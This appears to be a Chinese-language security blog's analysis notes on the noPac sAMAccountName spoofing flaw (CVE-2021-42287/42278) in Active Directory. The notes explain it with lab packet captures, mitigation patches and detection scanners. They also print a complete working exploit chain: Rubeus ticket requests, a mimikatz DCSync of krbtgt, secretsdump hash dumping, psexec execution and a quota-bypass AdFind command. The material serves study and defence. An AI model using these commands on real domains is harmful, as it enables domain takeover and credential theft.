CVE-2021-42287/CVE-2021-42278造成的sAMAccountName欺骗权限提升
前言:CVE-2021-42287/CVE-2021-42278造成的sAMAccountName欺骗权限提权漏洞分析笔记
参考文章:https://pentestlab.blog/2022/01/10/domain-escalation-samaccountname-spoofing/
参考文章:https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
参考文章:https://www.cnblogs.com/zpchcbd/p/11707302.html
参考文章:https://tttang.com/archive/1380/
参考文章:https://github.com/safebuffer/sam-the-admin
参考文章:https://github.com/knightswd/NoPacScan
参考文章:https://github.com/Ridter/noPac/blob/main/scanner.py
CVE-2021-42287/CVE-2021-42278
2021 年 11 月,有两个漏洞 CVE-2021-42278 & CVE-2021-42287 被露,两个漏洞组合可导致域内普通用户权限提升至域管权限。
CVE-2021-42278
windows域内的域机器账户的名字以$结尾,但DC没有对域内机器账户名做验证。与CVE-2021-42287结合使用,它允许攻击者冒充域控制器账户。
CVE-2021-42287
在申请服务票据(ST)之前,需要先签发票证授予票据(TGT)。当为密钥分发中心(KDC)中不存在的帐户请求服务票证时,密钥分发中心KDC将跟踪搜索,并在该帐户上附加$符号。结合这种行为和对"SamAccountName"属性缺乏控制(CVE-2021-42278)的事实,渗透测试人员可以利用这一点进行域升级。
具体地说,当域用户请求域控制器帐户的票证授予票据(TGT)之后,并且在任何服务票据(ST)请求之前恢复"SamAccountName"属性值将强制KDC搜索域控制器的机器帐户,并代表域控制器发出提权的服务票证。
总结
在AD认证的过程中,如果存在一个机器账户,此当前机器账户的sAMAccountName名称和域控的sAMAccountName名称(比如域控的机器名为WIN-DC$去掉$后的WIN-DC相同),允许机器账户可以设置为域控的非$名称的机制就是CVE-2021-42278
当我们用该WIN-DC机器账户请求了TGT票据之后,接着重命名该机器账户的sAMAccountName为非WIN-DC,如果再利用前面WIN-DC机器账户请求了TGT进行正常请求ST票据,KDC接收到该请求,但是解析TGT发现当前的请求者的机器名并没有到数据库中匹配到,所以域控无法正确来解密此票据。
但是域控有一个机制(CVE-2021-42287),当域控数据库中未检索到这个账户,会寻找cname+$为此账户的用户,此时就可以利用S4U2self向DC请求相关的ST票据,最终返回的ST票据是一个高权限的票据。

注意点:
- step2为什么需要清理spn的问题
可以看到上面的图中的step2,为什么这边需要清理spn呢,原因是重命名sAMAccountName的时候需要servicePrincipalName为空
- step6在请求ST票据的时候为什么需要通过s4u2self
而攻击者通过上面申请的TGT将自己作为service服务对象之后,通过s4u2self对kdc发起模拟域管的服务请求,在该请求ST票据(可以是ldap也可以是cifs)的时候
这个时候DC接收到该请求是找不到,此时我们已经修改了机器用户的saMAccountName属性,导致域控KDC找不到发起用户的用户,因此会查找当前请求的对象名称+$,这样的话KDC则认为是域控机器发起的请求,最终该请求主机的主机和请求的服务是合法的,所以判断当前的s4u2self是符合要求的,因此最终攻击者将会获得一张具有管理员权限访问域控服务的ST服务票据。

当KDC找不到DC时,就会去找DC$,如下图所示

漏洞分析
环境搭建
参考文章:https://www.cnblogs.com/zpchcbd/p/11707302.html
因为后面需要进行抓包分析,所以这边先导入对应要抓包分析的凭证用于wireshark数据包解密使用,如下图所示,具体的解密方式可以看参考自己笔记中的步骤

抓包分析过程
接着我这边通过sam-the-admin来进行利用,执行下面的命令,如下图所示
python3 sam_the_admin.py hengge/henggemaomao:admin@321 -dc-ip 192.168.75.22

这边可以来看到wireshark中的抓包流量,首先可以看到的是攻击机器创建机器用户,然后将sAMAccountName属性进行修改为当前域控的sAMAccountName属性去除$的名称(当前环境域控的sAMAccountName名称为WIN-M3K6DM7F67I$),也就是WIN-M3K6DM7F67I

攻击机器以当前WIN-M3K6DM7F67I为向域控申请TGT票据,如下图所示,可以看到此时AS-REQ中存储的cname字段为当前域控的名称(去除$)

攻击机器请求完TGT票据之后,接着就是将上面sAMAccountName改为WIN-M3K6DM7F67I的机器TITAN重新将其改为原创建的机器用户的sAMAccountName属性,这边的话原机器名就是TITAN,其实这里只要改为不是WIN-M3K6DM7F67I名称的即可,如下图所示

这里可以查看下当前TGT票据中的PAC字段,如下图所示

这边继续延展下当前的PAC_LOGON_INFO字段,如下图所示,其中可以看到当前请求TGT票据的用户的RID为1154,GROUP组属于515,表明当前请求对象是一个机器账号

攻击机器继续拿着之前的TGT票据继续向域控请求ST票据,这里会攻击机器会通过s4u2self(可以从PA-DATA pA-FOR-USER字段中看出来当前请求是s4u2self类型)去作为TGS请求(其中TGT票据就是上面AS-REQ中获取到的),该TGS请求中代表administrator用户去请求一个自身(第一步创建的机器用户)的cifs服务票据ST,如下图所示

而这里继续看到当通过s4u2self请求回来的ST票据中的PAC字段,如下图所示,当前返回的PAC字段中的RID为500,GROUP RID为513,则当前用户是administrator用户账号

到了请求ST票据的时候,域控这里会有一个特性,也就是CVE-2021-42287的漏洞,当为密钥分发中心(KDC)中不存在的帐户(此时就是SAM为WIN-M3K6DM7F67I对应的账户)请求服务票证时,密钥分发中心KDC将跟踪搜索,并在该帐户默认再上附加$符号,那么在这里的话其实就是SAM为WIN-M3K6DM7F67I$的账户,这里的话就是域控的机器账户,那么返回的服务票据就是针对域控机器的cifs的ST票据,最终导致权限提升。

漏洞复现
首先我们在WIN-SKE-PC上创建一个机器用户
New-MachineAccount -MachineAccount "thisistest" -Domain "hengge.com" -DomainController "dc1.hengge.com"


清空servicePrincipalName属性,这一步就没看懂,对于s4u2self的话需要主体有SN服务才行,但是这里却要进行清空没搞懂
Set-DomainObject "CN=thisistest,CN=Computers,DC=hengge,DC=com" -Clear "serviceprincipalname"


重命名(域控名去除$符号)
Set-MachineAccountAttribute -MachineAccount "thisistest" -Value "dc1" -Attribute samaccountname -Verbose


申请tgt
Rubeus.exe asktgt /user:"dc1" /password:"admin@123" /domain:"hengge.com" /dc:"dc1.domain.local" /nowrap

重命名(非dc1即可)
Set-MachineAccountAttribute -MachineAccount "thisistest" -Value "asdasdasdasd" -Attribute samaccountname -Verbose


通过s4u2self请求代表高权限administrator,将tgt换取st票据(LDAP访问票据),因为后面要进行dump操作
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/dc1.hengge.com" /dc:"hengge.com" /ptt /ticket:[Base64 TGT]

查看票据是否PTT成功
klist

进行dump操作
lsadump::dcsync /domain:hengge.com /user:krbtgt

漏洞利用
参考文章:https://github.com/safebuffer/sam-the-admin
执行命令,本地保存通过s4u2self申请到的Administrator.ccache凭证
python3 sam_the_admin.py hengge/henggemaomao:admin@321 -dc-ip 192.168.75.22


接着这边直接通过Administrator.ccache凭证来进行利用即可,这边测试dump域内的哈希值,如下图所示
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -target-ip 192.168.75.22 -dc-ip 192.168.75.22 -k -no-pass @win-m3k6dm7f67i.hengge.local

命令执行psexec模块,如下图所示
python3 psexec.py -dc-ip 192.168.75.22 -k -no-pass hengge/administrator@win-m3k6dm7f67i.hengge.local

修复方法
-
没有安装KB5008380和KB5008602安全补丁的域控制器
-
有效的域用户帐户
-
设置组策略MAQ机器帐户配额大于0
一般来说正常的修复方法都是KB5008380和KB5008602安全补丁的方式,该补方的作用会导致对相关的域控申请的ST票据的时候会跟随PAC数据,所以看是否有打过这些补丁就可以遍历对
检测漏洞的存在性
参考文章:https://github.com/knightswd/NoPacScan
参考文章:https://github.com/Ridter/noPac/blob/main/scanner.py
在Ridter师傅中的noPac项目中也实现了漏洞的检测,具体的原理是如下图所示
这边进行检测漏洞是否存在,执行下面的命令,如下图所示,可以看到在TGT请求有无PAC字段的票据大小不同来判断当前漏洞Nopac存在

python3 scanner.py hengge/henggemaomao:admin@321 -dc-ip 192.168.75.22 -debug -use-ldap

注意点:但是在微软后面的补丁更新中,有个策略是无论Include Pac的参数是什么,都返回PAC包,这将导致判断当你指定有无PAC的时候返回的都是相同大小的,这种的话就是
knightswd师傅的NoPacScan项目中的检测实现是比较是否查看在申请PAC字段的时候是否多出了一个值为16的Type,如下图所示,下面的图中是没有16的值的,而如果打了对应的nopac补丁的话,则会有一个Type为16的字段

这边检测的方法直接通过运行scan.py脚本来进行检测即可,如下图所示
python3 scan.py hengge/henggemaomao:admin@321 -dc-ip 192.168.75.22 -debug

绕过补丁攻击
参考文章:https://exploit.ph/more-samaccountname-impersonation.html
这里写了几种更多模拟samaccountname的方法,不过都是一些特殊的情况,但是也可以学习一下
MAQ限制绕过
寻找当前用户可读写权限的机器对象
AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user -recmute

浙公网安备 33010602011771号